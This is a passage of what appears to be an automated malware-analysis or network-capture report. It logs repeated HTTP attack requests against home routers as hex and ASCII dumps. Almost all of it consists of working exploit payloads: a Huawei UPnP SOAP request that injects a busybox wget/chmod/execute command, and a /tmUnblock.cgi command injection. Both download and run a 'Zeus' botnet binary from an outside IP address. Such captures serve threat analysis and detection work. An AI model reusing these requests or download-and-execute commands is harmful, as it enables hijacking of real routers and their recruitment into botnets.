3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
